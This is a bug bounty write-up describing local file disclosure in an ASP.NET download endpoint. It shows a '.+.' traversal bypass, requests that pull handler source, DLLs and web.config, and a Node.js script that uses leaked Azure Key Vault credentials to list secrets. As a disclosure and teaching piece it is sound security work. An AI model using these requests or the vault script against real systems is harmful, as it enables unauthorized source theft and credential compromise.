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Reading ASP secrets for $17,000

Reading ASP secrets for $17,000

One of the more common vulnerabilities on ASP.NET applications is local file disclosure. If you've never developed or worked with this technology, exploiting LFD can be confusing and often unfruitful. In the following write up I describe approaching an application that ended up being vulnerable to LFD, then going on to exploit it.

Identifying the Vulnerability

While working on a recent target, I ran into this endpoint...


When loading the page, it would download a help document from another path on the server. I didn't think that I'd be able to tamper with the functionality since it's an encrypted parameter, but I kept it in mind going forward. If I was able to ever compromise the key to sign the parameter (probably AES) then I could forge parameters and exploit the LFD.

To my surprise, I eventually saw the same endpoint being used on an older portion of the website with the following...


... and receiving ...

HTTP/1.1 200 OK
Connection: close
Content-Length: 27363


The first thing I saw after doing this was provide download.aspx as the argument, and to my surprise I was met with the source of the download.aspx file.

GET /utility/download.aspx?f=download.aspx
HTTP/1.1 200 OK
Connection: close
Content-Length: 263

<%@ Page Language="C#" AutoEventWireup="true" Debug="true" %>

Reading download.aspx is great for demonstrating that I could access arbitrary files, but it didn't really demonstrate impact as the "code behind file" (where the actual source of the file is stored) is located at filename.aspx.cs. I tried this and it did not work.

As it turns out, .aspx.cs files were inaccessible in the scenario I was trying to access them. (for more information about the difference between .aspx and .aspx.cssee here).

This is something we'd definitely have to find a way around, but for now, let's try to read from a different directory so we can have more access with the vulnerability.

Bypassing Traversal Block

Something else I discovered with the endpoint was that I was unable to have two trailing periods (..), otherwise the request would respond with a 400 bad request and fail.

One approach I took was to fuzz to see if there were any characters that it would ignore or concatenate.

To set this up, I used the following request...

GET /utility/download.aspx?f=.[fuzz]./utility/download.aspx

If you wanted to, you could throw this into Intruder and run standard fuzzing against it, manually doing it takes a bit more time but isn't too hard to accomplish

I began iterating characters manually until seeing that .+./utility/download.aspx would return with the contents of download.aspx. This was great as we could now traverse directories. Why did this exist? I wasn't sure. I had attempted this on my own ASP.NET application to see if it was a universal behavior, but it didn't work. My guess is that it had something to do with Window's filenames having spaces in them, but I never investigated it that thoroughly.

Proving Moderate Impact via Source Disclosure

Since I could now read below the path I was supposed to, one of the first things I had tried doing was reading a .ashx file. Since these were handlers instead of presentation files (see here) I made a guess that they would possibly be accessible.

This worked!

HTTP/1.1 200 OK
Connection: close
Content-Length: 2398

<%@ WebHandler Language="C#" Class="redacted.redacted" %>

Imports System
Imports System.Data
Imports System.Data.SqlClient
Imports System.IO
Imports System.Web
Imports System.Configuration

This at least demonstrated that I was able to pull something even just a little bit sensitive. The next step for me was reading a little bit more source code.

Something I had found out reading documentation for ASP.NET apps is that compiled classes are kept in /bin/className.dll. This meant that we should be able to pull the class name referenced in our .ashx file.

By sending the following request, I was able to pull the DLL for the source file (for more information about stored DLLs click here)...

GET /utility/download.aspx?f=.+./.+./bin/redacted.dll

After downloading this, an attacker could use dnSpy  to import the DLL and recover the source of the application in addition to likely more classes that they could enumerate and steal source from.

An example listing of DLLs for an ASP.NET application

Proving Critical Impact via web.config Azure Keys Disclosure

One of the files used in ASP.NET applications is web.config (huge shout out to @nahamsec  for suggesting this file to read).

This file is essentially a settings page with additional variables for things ranging from individual pages to your entire web server. Lots of sensitive information can exist here like credentials for SQL, encryption keys for things like that parameter we saw above, and internal endpoints used by the application.

Below is an example web.config file.

<?xml version="1.0" encoding="utf-8"?>
  For more information on how to configure your ASP.NET application, please visit
    <add key="webpages:Version" value="" />
    <add key="webpages:Enabled" value="false" />
    <add key="ClientValidationEnabled" value="true" />
    <add key="UnobtrusiveJavaScriptEnabled" value="true" />

    <add key="PodioClientId" value="" />
    <add key="PodioClientSecret" value="" />
    <add key="AppId" value="" />
    <add key="SpaceId" value="" />

    <remove name="umbracoDbDSN" />
    <add name="PodioAspnetSampleDb" connectionString="server=WSA07;database=PodioAspnetSampleDb;user id=sa;password=pass" providerName="System.Data.SqlClient" />
    <compilation debug="true" targetFramework="4.5" />
    <httpRuntime targetFramework="4.5" />

To read the web.config on the bug bounty target, what was done was simply send the following request...

GET /utility/download.aspx?f=.+./.+./web.config

The response included lots of secrets - but one of the worst was the exposure of the following keys...

<add key="keyVaultDataPlaneUri" value="redacted" />
<add key="uniqueKeyVaultNameUri" value="redacted" />
<add key="keyVaultClientId" value="redacted" />
<add key="keyVaultClientSecretIdentifier" value="redacted" />
<add key="keyVaultClientTenantName" value="redacted" />
<add key="keyVaultAuthenticationContextUri" value="redacted" />
<add key="keyVaultApiVersion" value="2016-10-01" />

If used correctly, these allow access to an Azure Key Vault instance. Azure Key Vault is used to keep secrets for the application, and will generally contain some juicy stuff.

One of the issues is finding the correct way to send the request to access the secrets. After talking to shubs, he quickly threw together a Node.js script to access the Azure Key Vault instance using the disclosed keys...

var KeyVault = require('azure-keyvault');
var AuthenticationContext = require('adal-node').AuthenticationContext;

var clientId = "clientId";
var clientSecret = "clientSecret";
var vaultUri = "vaultUri";

// Authenticator - retrieves the access token
var authenticator = function (challenge, callback) {

  // Create a new authentication context.
  var context = new AuthenticationContext(challenge.authorization);

  // Use the context to acquire an authentication token.
  return context.acquireTokenWithClientCredentials(challenge.resource, clientId, clientSecret, function (err, tokenResponse) {
    if (err) throw err;
    // Calculate the value to be set in the request's Authorization header and resume the call.
    var authorizationValue = tokenResponse.tokenType + ' ' + tokenResponse.accessToken;
    return callback(null, authorizationValue);


var credentials = new KeyVault.KeyVaultCredentials(authenticator);
var client = new KeyVault.KeyVaultClient(credentials);

client.getSecrets(vaultUri).then(function(value) {

... the response ...

{ id:
     { enabled: true,
       created: 2018-01-23T22:14:18.000Z,
       updated: 2018-01-23T22:14:18.000Z,
       recoveryLevel: 'Purgeable' },
    contentType: 'secret' } ]

... more secrets ...

This is game over as the secrets contained credentials that would allow an attacker full write and read access to the system.


ASP.NET can't access source files? Read from /bin/className.dll.
Want to see some awesome secrets? Read from web.config.

If you want to get better at hacking ASP.NET applications spend some time developing them. There are a lot of commonalities of issues (forced browsing, authentication bypass, shell upload, LFD and LFI, etc.) that you'll start to take notice if you can get past the terribly annoying view-state tokens sent in almost every request.

Happy holidays!
- @samwcyo


Reported - September 25th, 2018
Triaged - September 27th, 2018
Rewarded $17,000- September 29th, 2018

Find me on:twitter: https://twitter.com/samwcyodiscord: zlz